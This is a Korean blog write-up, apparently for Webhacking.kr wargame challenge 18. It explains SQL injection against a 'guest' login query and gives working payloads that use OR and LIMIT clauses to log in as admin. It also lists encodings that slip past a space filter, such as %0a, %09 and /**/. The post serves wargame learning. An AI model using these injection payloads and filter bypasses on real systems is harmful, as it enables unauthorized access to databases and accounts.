

이번 문제는 여러 가지 방식으로 풀 수 있다.
이미 id='guest' 로 고정되어 있기 때문에,
뒤에 no 값을 부정을 하고 or 를 적용하여 새롭게 admin 값을 적용할 수 있다.
혹은
no 값 참으로 만들고, admin 값을 넣을 수 있다.
주석을 보면 admin's no = 2 임을 알 수 있다.
고로 guest's no = 1 라고 추측할 수 있다.

select id from chall18 where id='guest' and no=$_GET[no]
1. 참 > or 를 사용하여 admin 승인
no=2%0aor%0aid%3D%27admin%27 // 공백을 필터링하기 때문에 %20대신 %0a로 우회!
no=2 or id='admin'
2. 거짓 > no를 부정하고 admin 승인
no=-1%0aor%0ano=2 // no=-1 or no=2
no=-1%0aor%0a1%0alimit%0a1%2C1 // no=-1 or 1 limit 1,1 -> no 부정하고 항상 참인 결과를 만들어 limit 연산자를 사용하여 두번째 결과 값 출력하는 방법
* 빈칸 우회
' ' : ( ), /**/, %09, %0a, %0c, %0b, +





'War Game > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr : challenge(old) 1번 풀기 (0) | 2019.09.25 |
---|---|
Webhacking.kr 리뉴얼 : 회원 가입 (0) | 2019.09.25 |